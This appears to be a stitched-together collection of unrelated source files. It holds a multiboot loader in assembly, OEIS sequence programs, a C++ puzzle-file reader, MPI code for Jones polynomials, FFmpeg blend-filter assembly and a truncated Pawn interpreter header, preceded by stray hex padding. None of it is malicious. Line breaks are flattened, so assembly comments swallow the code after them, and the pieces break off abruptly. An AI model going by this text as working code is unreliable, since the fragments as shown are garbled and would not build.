00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; ============================================================================= ; Pure64 Multiboot -- a 64-bit OS/software loader written in Assembly for x86-64 systems ; Copyright (C) 2008-2020 Return Infinity -- see LICENSE.TXT ; ; http://stackoverflow.com/questions/33488194/creating-a-simple-multiboot-kernel-loaded-with-grub2 ; https://www.gnu.org/software/grub/manual/multiboot/multiboot.html#OS-image-format ; ============================================================================= [BITS 32] [global _start] [ORG 0x100000] ;If using '-f bin' we need to specify the ;origin point for our code with ORG directive ;multiboot loaders load us at physical ;address 0x100000 FLAG_ALIGN equ 1<<0 ; align loaded modules on page boundaries FLAG_MEMINFO equ 1<<1 ; provide memory map FLAG_VIDEO equ 1<<2 ; set video mode FLAG_AOUT_KLUDGE equ 1<<16 ;FLAGS[16] indicates to GRUB we are not ;an ELF executable and the fields ;header address, load address, load end address; ;bss end address and entry address will be available ;in Multiboot header MAGIC equ 0x1BADB002 ;magic number GRUB searches for in the first 8k ;of the kernel file GRUB is told to load FLAGS equ FLAG_ALIGN | FLAG_MEMINFO | FLAG_VIDEO | FLAG_AOUT_KLUDGE CHECKSUM equ -(MAGIC + FLAGS) mode_type equ 0 ; Linear width equ 1024 height equ 768 depth equ 24 _start: ; We need some code before the multiboot header xor eax, eax ; Clear eax and ebx in the event xor ebx, ebx ; we are not loaded by GRUB. jmp multiboot_entry ; Jump over the multiboot header align 4 ; Multiboot header must be 32-bit aligned multiboot_header: dd MAGIC ; magic dd FLAGS ; flags dd CHECKSUM ; checksum dd multiboot_header ; header address dd _start ; load address of code entry point dd 0x00 ; load end address : not necessary dd 0x00 ; bss end address : not necessary dd multiboot_entry ; entry address GRUB will start at dd mode_type dd width dd height dd depth align 16 multiboot_entry: push 0 popf cld ; Clear direction flag ; Copy memory map mov esi, ebx ; GRUB stores the Multiboot info table at the address in EBX mov edi, 0x6000 ; We want the memory map stored here add esi, 44 ; Memory map address at this offset in the Mutliboot table lodsd ; Grab the memory map size in bytes mov ecx, eax lodsd ; Grab the memory map address mov esi, eax memmap_entry: lodsd ; Size of entry cmp eax, 0 je memmap_end movsd ; base_addr_low movsd ; base_addr_high movsd ; length_low movsd ; length_high movsd ; type xor eax, eax stosd ; padding stosd stosd jmp memmap_entry memmap_end: xor eax, eax mov ecx, 8 rep stosd ; Copy loader and kernel to expected location mov esi, multiboot_end mov edi, 0x00008000 mov ecx, 8192 ; Copy 32K rep movsd ; Copy loader to expected address cli jmp 0x00008000 times 512-$+$$ db 0 ; Padding multiboot_end: ; ============================================================================= ; EOF
; A061480: n-th digit in decimal expansion of 1/n. ; 0,0,3,0,0,6,1,0,1,0,0,3,0,7,6,0,0,5,0,0,7,4,0,6,0,3,7,7,0,3,0,0,0,2,7,7,0,2,5,0,0,9,0,7,2,2,0,3,1,0,9,2,0,8,8,4,7,1,0,6,0,1,5,0,8,1,0,7,4,2,0,8,0,1,3,1,8,0,0,0,9,1,0,4,6,1,1,3,0,1,0,8,0,1,2,6,0,5,0,0 add $0,1 mov $1,10 pow $1,$0 div $1,$0 mod $1,10 mov $0,$1
; A058034: Number of numbers whose cube root rounds to n. ; 1,3,12,27,49,75,108,147,193,243,300,363,433,507,588,675,769,867,972,1083,1201,1323,1452,1587,1729,1875,2028,2187,2353,2523,2700,2883,3073,3267,3468,3675,3889,4107,4332,4563,4801,5043,5292,5547,5809,6075,6348,6627,6913,7203,7500,7803,8113,8427,8748,9075,9409,9747,10092,10443,10801,11163,11532,11907,12289,12675,13068,13467,13873,14283,14700,15123,15553,15987,16428,16875,17329,17787,18252,18723,19201,19683,20172,20667,21169,21675,22188,22707,23233,23763,24300,24843,25393,25947,26508,27075,27649,28227,28812,29403 mov $2,$0 mod $0,4 pow $1,$0 mov $4,$2 mul $4,$2 mov $3,$4 mul $3,3 add $1,$3 mov $0,$1
; A089451: a(n) = mu(prime(n)-1), where mu is the Moebius function (A008683). ; 1,-1,0,1,1,0,0,0,1,0,-1,0,0,-1,1,0,1,0,-1,-1,0,-1,1,0,0,0,-1,1,0,0,0,-1,0,-1,0,0,0,0,1,0,1,0,-1,0,0,0,1,-1,1,0,0,-1,0,0,0,1,0,0,0,0,-1,0,0,-1,0,0,1,0,1,0,0,1,-1,0,0,1,0,0,0,0,-1,0,-1,0,-1,-1,0,0,0,1,1,1,0,0,-1,1,0,0,0,0 seq $0,40 ; The prime numbers. sub $0,2 seq $0,8683 ; Möbius (or Moebius) function mu(n). mu(1) = 1; mu(n) = (-1)^k if n is the product of k different primes; otherwise mu(n) = 0.
; A269608: Number of length-5 0..n arrays with no repeated value differing from the previous repeated value by one or less. ; 10,154,804,2692,7030,15630,31024,56584,96642,156610,243100,364044,528814,748342,1035240,1403920,1870714,2453994,3174292,4054420,5119590,6397534,7918624,9715992,11825650,14286610,17141004,20434204,24214942,28535430,33451480,39022624,45312234,52387642,60320260,69185700,79063894,90039214,102200592,115641640,130460770,146761314,164651644,184245292,205661070,229023190,254461384,282111024,312113242,344615050,379769460,417735604,458678854,502770942,550190080,601121080,655755474,714291634,776934892,843897660,915399550,991667494,1072935864,1159446592,1251449290,1349201370,1452968164,1563023044,1679647542,1803131470,1933773040,2071878984,2217764674,2371754242,2534180700,2705386060,2885721454,3075547254,3275233192,3485158480,3705711930,3937292074,4180307284,4435175892,4702326310,4982197150,5275237344,5581906264,5902673842,6238020690,6588438220,6954428764,7336505694,7735193542,8151028120,8584556640,9036337834,9506942074,9996951492,10506960100,11037573910,11589411054,12163101904,12759289192,13378628130,14021786530,14689444924,15382296684,16101048142,16846418710,17619141000,18419960944,19249637914,20108944842,20998668340,21919608820,22872580614,23858412094,24877945792,25932038520,27021561490,28147400434,29310455724,30511642492,31751890750,33032145510,34353366904,35716530304,37122626442,38572661530,40067657380,41608651524,43196697334,44832864142,46518237360,48253918600,50041025794,51880693314,53774072092,55722329740,57726650670,59788236214,61908304744,64088091792,66328850170,68631850090,70998379284,73429743124,75927264742,78492285150,81126163360,83830276504,86606019954,89454807442,92378071180,95377261980,98453849374,101609321734,104845186392,108162969760,111564217450,115050494394,118623384964,122284493092,126035442390,129877876270,133813458064,137843871144,141970819042,146196025570,150521234940,154948211884,159478741774,164114630742,168857705800,173709814960,178672827354,183748633354,188939144692,194246294580,199672037830,205218350974,210887232384,216680702392,222600803410,228649600050,234829179244,241141650364,247589145342,254173818790,260897848120,267763433664,274772798794,281928190042,289231877220,296686153540,304293335734,312055764174,319975802992,328055840200,336298287810,344705581954,353280183004,362024575692,370941269230,380032797430,389301718824,398750616784,408382099642,418198800810 mov $1,10 mov $2,39 mov $5,$0 mov $6,$0 lpb $2,1 add $1,$5 sub $2,1 lpe mov $3,$6 lpb $3,1 sub $3,1 add $4,$5 lpe mov $2,57 mov $5,$4 lpb $2,1 add $1,$5 sub $2,1 lpe mov $3,$6 mov $4,0 lpb $3,1 sub $3,1 add $4,$5 lpe mov $2,37 mov $5,$4 lpb $2,1 add $1,$5 sub $2,1 lpe mov $3,$6 mov $4,0 lpb $3,1 sub $3,1 add $4,$5 lpe mov $2,10 mov $5,$4 lpb $2,1 add $1,$5 sub $2,1 lpe mov $3,$6 mov $4,0 lpb $3,1 sub $3,1 add $4,$5 lpe mov $2,1 mov $5,$4 lpb $2,1 add $1,$5 sub $2,1 lpe
; A070414: a(n) = 7^n mod 30. ; 1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13,1,7,19,13 mod $0,4 pow $0,7 mod $0,5 mul $0,6 add $0,1
#include "PuzzleManager.h" namespace QUAT { ifstream * PuzzleManager::openPuzzleFile() { std::string filename = cocos2d::FileUtils::getInstance()->fullPathForFilename("puzzles.quat"); std::ifstream * puzzleFile = new std::ifstream(filename, ios::in|ios::binary|ios::ate); return puzzleFile; } int PuzzleManager::getHeaderAddress(int rating) { return rating * 8; } void PuzzleManager::getPuzzleRange(ifstream * puzzleFile, puzzleRange * range, int rating) { int headerAddress = this->getHeaderAddress(rating); // Seek to the header for this rating range puzzleFile->seekg(headerAddress); // Read and parse the first address char * firstBytes = new char[4]; puzzleFile->read(firstBytes, 4); range->startAddress = this->parseAddress(firstBytes); // Read and parse the second address char * secondBytes = new char[4]; puzzleFile->read(secondBytes, 4); range->endAddress = this->parseAddress(secondBytes); } int PuzzleManager::getPuzzleCount(ifstream * puzzleFile, int rating) { struct puzzleRange range; // Fill in the addresses for this puzzle this->getPuzzleRange(puzzleFile, &range, rating); return (range.endAddress - range.startAddress) / 6; } int PuzzleManager::addressOfRandomPuzzle(ifstream * puzzleFile, int rating) { struct puzzleRange range; this->getPuzzleRange(puzzleFile, &range, rating); int count = (range.endAddress - range.startAddress) / 6; int randomIndex = cocos2d::RandomHelper::random_int(0, count - 1); return range.startAddress + (randomIndex * 6); } int PuzzleManager::parsePar(char * bytes) { return (int) this->selectFromByte(bytes[0], 4, 4); } char PuzzleManager::selectFromByte(char byte, int start, int size) { return (((unsigned char) (byte << start)) >> (8 - size)); } void PuzzleManager::parseWords(char * bytes, std::string * start, std::string * finish) { int startByte, // Byte the letter starts in endByte, // Byte the letter ends in startIndex, // Index in the first byte the letter starts endIndex, // Index in the last byte (might still be first) the letter ends startIndexRelative, // Relative (byte-local) index for start size; // Size that is in the left byte char letter; // Stores the letter // Parse through all 8 letters for (int i = 0; i < 8; i++) { // Calculates all of the nifty variables startIndex = (i * 5); endIndex = ((i + 1) * 5); // Calculate the byte index for the start and the end startByte = (startIndex - (startIndex % 8)) / 8; endByte = (endIndex - (endIndex % 8)) / 8; // Calculates the local index for each index startIndexRelative = startIndex % 8; // The char falls within the same byte if (startByte == endByte) { // We just grab the byte sequence we need letter = this->selectFromByte(bytes[1 + startByte], startIndexRelative, 5); } // The char falls across two bytes else { size = 8 - startIndexRelative; // We combine the two sequences of bytes letter = (this->selectFromByte(bytes[1 + startByte], startIndexRelative, size) << (5 - size)) | // The magic or bar this->selectFromByte(bytes[1 + endByte], 0, 5 - size); } // Adds in the proper offset to get it back to A-Z letter += 97; letter = toupper(letter); // Fill it into the strings if (i < 4) { start->replace(i, 1, 1, letter); } else { finish->replace(i - 4, 1, 1, letter); } } } int PuzzleManager::parseAddress(char * bytes) { unsigned int address = 0; // Add in all of the bytes for (int i = 0; i < 4; i++) { address = (address << 8) + (unsigned char) bytes[i]; } return address; } PuzzleManager::PuzzleManager(Puzzle * puzzle) { this->puzzle = puzzle; } void PuzzleManager::init() { this->fill(0); } void PuzzleManager::fill(int rating) { ifstream * puzzleFile = this->openPuzzleFile(); // Get a random puzzle's address within this range int address = this->addressOfRandomPuzzle(puzzleFile, rating); // Seek to the puzzle's location puzzleFile->seekg(address); // Read the puzzle's bytes char * puzzleBytes = new char[6]; puzzleFile->read(puzzleBytes, 6); int par = this->parsePar(puzzleBytes); // Parse the start and finish words std::string * start = new std::string("AAAA"), * finish = new std::string("AAAA"); this->parseWords(puzzleBytes, start, finish); // Sets the puzzle this->puzzle->set(start, finish, par, rating); } int PuzzleManager::getPuzzleCount(int rating) { ifstream * puzzleFile = this->openPuzzleFile(); int count = this->getPuzzleCount(puzzleFile, rating); puzzleFile->close(); return count; } };
#include "../include/funcs.h" #include "mpi.h" using namespace std; map<int, double> anneal( vector<vector<int>> neigh_array, vector<vector<double>> coords, vector<vector<double>> proj, vector<vector<int>> crossings, int init_crossings, int n) { if (crossings.size() == 0) { int loops = count_loops(neigh_array, n); if (loops == 1) { map<int, double> res; res[0] = 1; return res; } else { map<int, double> res = mult_poly(loops); return res; } } else { int p1 = crossings[0][0]; int p2 = crossings[0][1]; int p3 = crossings[0][2]; int p4 = crossings[0][3]; vector<vector<int>> neigh_copy1(neigh_array); vector<vector<int>> neigh_copy2(neigh_array); if (compute_one(coords[p1], coords[p2], coords[p3], coords[p4]) < 0) { neigh_copy1[p1][1] = neigh_array[p3][1]; neigh_copy1[p3][1] = neigh_array[p1][1]; neigh_copy1[neigh_array[p1][1]][0] = p3; neigh_copy1[neigh_array[p3][1]][0] = p1; neigh_copy2[p1][1] = p3; neigh_copy2[p3][1] = p1; neigh_copy2[neigh_array[p1][1]][0] = neigh_array[p3][1]; neigh_copy2[neigh_array[p3][1]][0] = neigh_array[p1][1]; } else { neigh_copy2[p1][1] = neigh_array[p3][1]; neigh_copy2[p3][1] = neigh_array[p1][1]; neigh_copy2[neigh_array[p1][1]][0] = p3; neigh_copy2[neigh_array[p3][1]][0] = p1; neigh_copy1[p1][1] = p3; neigh_copy1[p3][1] = p1; neigh_copy1[neigh_array[p1][1]][0] = neigh_array[p3][1]; neigh_copy1[neigh_array[p3][1]][0] = neigh_array[p1][1]; } crossings.erase(crossings.begin()); map<int, double> ret1 = anneal(neigh_copy1, coords, proj, crossings, init_crossings, n); map<int, double> ret2 = anneal(neigh_copy2, coords, proj, crossings, init_crossings, n); map<int, double> temp1; map<int, double> temp2; temp1[-1] = 1; temp2[1] = 1; map<int, double> res1 = simple_mult(ret1, temp1); map<int, double> res2 = simple_mult(ret2, temp2); map<int, double> res; for (auto const& x: res1) { res[x.first] += x.second; } for (auto const& x: res2) { res[x.first] += x.second; } return res; } } map<int, double> jones(string fname, double** coordinates, bool has_coords, int length, int num_proj) { int n = length; bool is_closed = false; vector<vector<double>> coords; for (int i = 0; i < n; i++) { coords.push_back({coordinates[i][0], coordinates[i][1], coordinates[i][2]}); } n = coords.size(); vector<vector<int>> neigh_array = generate_neigh_array(n, is_closed); map<int, double> avejones; vector<vector<double>> original_coords(coords); int num_fails = 0; for (int z = 0; z < num_proj; z++) { coords = original_coords; n = coords.size(); neigh_array = generate_neigh_array(n, is_closed); bool no_mult_crossings = false; vector<vector<double>> proj; vector<vector<double>> new_proj = get_proj(coords, n); vector<vector<int>> crossings = count_crossings(neigh_array, new_proj, n, false); Struct s = next_mult_crossings(new_proj, coords, neigh_array, n, is_closed); if (!s.success) { z--; continue; } if (s.crossings.size() > crossings.size() || has_mult_crossings(s.crossings)) { z--; continue; } proj = s.proj; coords = s.coords; crossings = s.crossings; n = coords.size(); neigh_array = generate_neigh_array(n, is_closed); bool many_crossings = false; int init_crossings = crossings.size(); vector<vector<int>> temp_crossings = reduce_crossings(crossings, coords); crossings = temp_crossings; init_crossings = temp_crossings.size(); if (init_crossings > 15) { z--; num_fails++; if (num_fails >= 25) { map<int, double> err_map; err_map[0] = 0; return err_map; }; continue; many_crossings = true; if (init_crossings > 15) { z--; continue; } } int writhe = 0; for (int i = 0; i < init_crossings; i++) { if (are_collinear( coords[crossings[i][0]], coords[crossings[i][1]], coords[crossings[i][2]], coords[crossings[i][3]])) continue; if (compute_one( coords[crossings[i][0]], coords[crossings[i][1]], coords[crossings[i][2]], coords[crossings[i][3]]) > 0) writhe++; else writhe--; } map<int, double> result = anneal(neigh_array, coords, proj, crossings, init_crossings, n); map<int, double> mult; mult[(-1 * writhe) * 3] = pow(-1, (-1 * writhe) * 3); map<int, double> mult_result = simple_mult(result, mult); for (map<int, double>::const_iterator it = mult_result.begin(); it != mult_result.end(); ++it) { if (it->second == 0) continue; avejones[it->first] += it->second; } } map<int, double> final; for (map<int, double>::const_iterator it = avejones.begin(); it != avejones.end(); ++it) { final[it->first] = it->second / num_proj; } return final; } int main(int argc, char* argv[]) { MPI_Init(&argc, &argv); int rank, size; MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); int chain_length = 100; int num_chains = 4; int chunk = num_chains / size; int offset = chunk * rank; bool last = false; if (rank + 1 == size) last = true; int num; map<int, double> result; string in_dir = "../data/" + string(argv[2]); string in_file = in_dir + string(argv[1]); cout << "infile: " << in_file << "\n"; string outdir = "../results/" + string(argv[2]); string outfile_name = outdir + to_string(rank) + "_out" + string(argv[1]); ofstream outfile; outfile.open(outfile_name); double** coords = read_coords(in_file, &num); for (int i = rank * chunk; i < (rank + 1) * chunk; i++) { double** temp_coords = new double*[chain_length]; for (int j = 0; j < chain_length; j++) { temp_coords[j] = new double[3]; temp_coords[j][0] = coords[(i * chain_length) + j][0]; temp_coords[j][1] = coords[(i * chain_length) + j][1]; temp_coords[j][2] = coords[(i * chain_length) + j][2]; // cout << temp_coords[j][0] << ", " << temp_coords[j][1] << ", " << temp_coords[j][2] << // "\n"; } map<int, double> jones_poly = jones("", temp_coords, true, chain_length, 25); outfile << "Chain " << i << " jones: "; for (map<int, double>::const_iterator it = jones_poly.begin(); it != jones_poly.end(); ++it) { outfile << it->second << "A^" << it->first << " + "; result[it->first] += it->second; } outfile << "\n"; delete_array(temp_coords, chain_length); } outfile << "Total system jones: "; for (map<int, double>::const_iterator it = result.begin(); it != result.end(); ++it) { if (it->second == 0 || it->second == -0) continue; outfile << it->second << "A^" << it->first << " + "; } outfile << "\n"; // int temp = jones("2_input.read_data"); // int temp = jones_rw(3, 100, 100); // double *scanned = scan(argv[1], num_chains, chain_length, chunk, last, rank); // cout << "max contribution: " << scanned[0] << "\n"; // cout << "first atom of max contributor: " << scanned[1] << "\n"; // cout << "length of max contributor: " << scanned[2] << "\n"; // cout << "average writhe: " << scanned[3] << "\n"; // double res = simple_wr(100, 1000, "oakridgedata/SNAPSHOTS-sorted/TREFOIL/sorted.txt"); // cout << "Rank " << rank << " done\n"; outfile.close(); MPI_Finalize(); return 0; }
;***************************************************************************** ;* x86-optimized functions for blend filter ;* ;* Copyright (C) 2015 Paul B Mahol ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA pw_1: times 8 dw 1 pw_128: times 8 dw 128 pw_255: times 8 dw 255 pb_127: times 16 db 127 pb_128: times 16 db 128 pb_255: times 16 db 255 SECTION .text %macro BLEND_INIT 2 %if ARCH_X86_64 cglobal blend_%1, 6, 9, %2, top, top_linesize, bottom, bottom_linesize, dst, dst_linesize, width, end, x mov widthd, dword widthm %else cglobal blend_%1, 5, 7, %2, top, top_linesize, bottom, bottom_linesize, dst, end, x %define dst_linesizeq r5mp %define widthq r6mp %endif mov endd, dword r7m add topq, widthq add bottomq, widthq add dstq, widthq neg widthq %endmacro %macro BLEND_END 0 add topq, top_linesizeq add bottomq, bottom_linesizeq add dstq, dst_linesizeq sub endd, 1 jg .nextrow REP_RET %endmacro %macro BLEND_SIMPLE 2 BLEND_INIT %1, 2 .nextrow: mov xq, widthq .loop: movu m0, [topq + xq] movu m1, [bottomq + xq] p%2 m0, m1 mova [dstq + xq], m0 add xq, mmsize jl .loop BLEND_END %endmacro INIT_XMM sse2 BLEND_SIMPLE xor, xor BLEND_SIMPLE or, or BLEND_SIMPLE and, and BLEND_SIMPLE addition, addusb BLEND_SIMPLE subtract, subusb BLEND_SIMPLE darken, minub BLEND_SIMPLE lighten, maxub BLEND_INIT difference128, 4 pxor m2, m2 mova m3, [pw_128] .nextrow: mov xq, widthq .loop: movh m0, [topq + xq] movh m1, [bottomq + xq] punpcklbw m0, m2 punpcklbw m1, m2 paddw m0, m3 psubw m0, m1 packuswb m0, m0 movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END %macro MULTIPLY 3 ; a, b, pw_1 pmullw %1, %2 ; xxxxxxxx a * b paddw %1, %3 mova %2, %1 psrlw %2, 8 paddw %1, %2 psrlw %1, 8 ; 00xx00xx a * b / 255 %endmacro %macro SCREEN 4 ; a, b, pw_1, pw_255 pxor %1, %4 ; 00xx00xx 255 - a pxor %2, %4 MULTIPLY %1, %2, %3 pxor %1, %4 ; 00xx00xx 255 - x / 255 %endmacro BLEND_INIT multiply, 4 pxor m2, m2 mova m3, [pw_1] .nextrow: mov xq, widthq .loop: ; word ; |--| movh m0, [topq + xq] ; 0000xxxx movh m1, [bottomq + xq] punpcklbw m0, m2 ; 00xx00xx punpcklbw m1, m2 MULTIPLY m0, m1, m3 packuswb m0, m0 ; 0000xxxx movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END BLEND_INIT screen, 5 pxor m2, m2 mova m3, [pw_1] mova m4, [pw_255] .nextrow: mov xq, widthq .loop: movh m0, [topq + xq] ; 0000xxxx movh m1, [bottomq + xq] punpcklbw m0, m2 ; 00xx00xx punpcklbw m1, m2 SCREEN m0, m1, m3, m4 packuswb m0, m0 ; 0000xxxx movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END BLEND_INIT average, 3 pxor m2, m2 .nextrow: mov xq, widthq .loop: movh m0, [topq + xq] movh m1, [bottomq + xq] punpcklbw m0, m2 punpcklbw m1, m2 paddw m0, m1 psrlw m0, 1 packuswb m0, m0 movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END BLEND_INIT addition128, 4 pxor m2, m2 mova m3, [pw_128] .nextrow: mov xq, widthq .loop: movh m0, [topq + xq] movh m1, [bottomq + xq] punpcklbw m0, m2 punpcklbw m1, m2 paddw m0, m1 psubw m0, m3 packuswb m0, m0 movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END BLEND_INIT hardmix, 5 mova m2, [pb_255] mova m3, [pb_128] mova m4, [pb_127] .nextrow: mov xq, widthq .loop: movu m0, [topq + xq] movu m1, [bottomq + xq] pxor m1, m4 pxor m0, m3 pcmpgtb m1, m0 pxor m1, m2 mova [dstq + xq], m1 add xq, mmsize jl .loop BLEND_END BLEND_INIT phoenix, 4 mova m3, [pb_255] .nextrow: mov xq, widthq .loop: movu m0, [topq + xq] movu m1, [bottomq + xq] mova m2, m0 pminub m0, m1 pmaxub m1, m2 mova m2, m3 psubusb m2, m1 paddusb m2, m0 mova [dstq + xq], m2 add xq, mmsize jl .loop BLEND_END %macro BLEND_ABS 0 BLEND_INIT difference, 3 pxor m2, m2 .nextrow: mov xq, widthq .loop: movh m0, [topq + xq] movh m1, [bottomq + xq] punpcklbw m0, m2 punpcklbw m1, m2 psubw m0, m1 ABS1 m0, m1 packuswb m0, m0 movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END BLEND_INIT negation, 5 pxor m2, m2 mova m4, [pw_255] .nextrow: mov xq, widthq .loop: movh m0, [topq + xq] movh m1, [bottomq + xq] punpcklbw m0, m2 punpcklbw m1, m2 mova m3, m4 psubw m3, m0 psubw m3, m1 ABS1 m3, m1 mova m0, m4 psubw m0, m3 packuswb m0, m0 movh [dstq + xq], m0 add xq, mmsize / 2 jl .loop BLEND_END %endmacro INIT_XMM sse2 BLEND_ABS INIT_XMM ssse3 BLEND_ABS
; AMXEXEC.ASM Abstract Machine for the "Pawn" language ; ;Some notes: ; * Please also look at the "history" log (below) for more notes. ; * This file assembles with Watcom's WASM, Borland's TASM and Microsoft's ; MASM; see the file "amxexecn.asm" for a version that works with NASM. ; * There are two "calling convention" issues: ; o The convention with which amx_exec_asm() itself is called. The default ; calling convention is Watcom's register calling convention. Change ; this to __cdecl by setting the macro STACKARGS. ; o The convention for calling the "hook" functions (native functions and ; the debugger callback). Again, the default is Watcom's register calling ; convention. Use the macros CDECL or STDECL for __cdecl and __stdcall ; respectively. (Since STDCALL is a reserved word on the assembler, I had ; to choose a different name for the macro, hence STDECL.) ; * You will need to compile the standard AMX.C file with the macro ASM32 ; defined. On the command line, use: ; wcl386 /l=nt /dASM32 srun.c amx.c amxcore.c amxcons.c amxexec.asm ; * OP_CASETBL and OP_ICASETBL are not implemented, but they should not occur ; anyway. ; * Since the move to position-independent code, all obsolete instructions have ; been removed; you the Pawn compiler that generates position-independent code ; and that compiler does not generate obsolete instructions. ; * Not all opcodes are tested. Only those generated when using the demo ; programs are giving the impression to be working. I've flagged them "good". ; (I'm pretty sure now that all other codes are working correctly, too.) ; [I have removed these marks, because both this source code and the demo ; programs have changed significantly since the original development of this ; module --Thiadmer Riemersma] ; * On my P200 this implementation reaches >30 mill instr/sec - quite good. ; It's 5 times as fast as the ANSI C version of SRUN.EXE (supplied with the ; archive). (This was measured with the Hanoi "benchmark" [no output].) ; ; ;Copyright and license of use, please read ;----------------------------------------- ;The assembler implementation of the abstract machine for the Pawn language, ;specifically the file AMXEXEC.ASM, is copyright (c) 1998-2000 by Marc Peter. ; ;Permission is hereby granted, without written agreement and without paid ;license or royalty fees, to use, copy, modify, and distribute this software ;and its documentation for any purpose, subject to the following conditions: ; ;1. The above copyright notice and this permission notice shall appear in all ; copies or substantial portions of this software. ; ;2. Modifications of this software that do not originate from me (Marc Peter) ; must be explicitly mentioned in a README file or another appropriate ; place. ; ;The use of this software as a subsystem of a larger software product is ;explicitly allowed, regardless of whether that larger product is proprietary, ;gratis or commercially available. ; ;I (Marc Peter) specifically disclaim any warranties, including, but not ;limited to, the implied warranties of merchantability and fitness for a ;particular purpose. The software is provided on an "as is" basis, ;and I have no obligation to provide maintenance, support, updates, ;enhancements or modifications. ; ;I cannot be held liable for any damage or loss of profits that results ;from the use of the software (or part thereof), or from the inability to ;use it. ; ; ;History (list of changes) ;------------------------- ; 26 august 2007 by Thiadmer Riemersma ; Minor clean-up; removed unneeded parameter. ; 31 may 2007 by Thiadmer Riemersma ; Added packed opcodes ; 30 april 2007 by Thiadmer Riemersma ; Move to position-independent code (no more relocation needed for ; branches). ; Removed cases for obsolete instructions. ; 14 december 2005 by Thiadmer Riemersma (TR) ; Addition of macro instructions, to speed up instruction decoding ; 17 february 2005 by Thiadmer Riemersma (TR) ; Addition of the BREAK opcode, removal of the older debugging opcode table. ; 6 march 2004 by Thiadmer Riemersma ; Corrected a bug in OP_FILL, where a cell preceding the array would ; be overwritten (zero'ed out). This bug was brought to my attention ; by Robert Daniels. ; 2 february 2004 by Thiadmer Riemersma (TR) ; Added checking of the return address in the RET and RETN opcodes. ; Changed handling of LINE opcode, so that the debugger can force a ; sleep. ; 22 december 2003 by Thiadmer Riemersma (TR) ; Added support for the SYMTAG and SYSCALL.D opcodes ; 3 october 2003 by Thiadmer Riemersma (TR) ; Added "non-debug" versions of various opcodes, to avoid repetitive ; checking of the "debug" flag. ; 1 July 2002 by Thiadmer Riemersma (TR) ; Modifications due to added fields in the AMX structure ; RET and RETN instructions no longer check for a 0 return address ; Stack top is now relative to the start of the data segment, to allow ; for 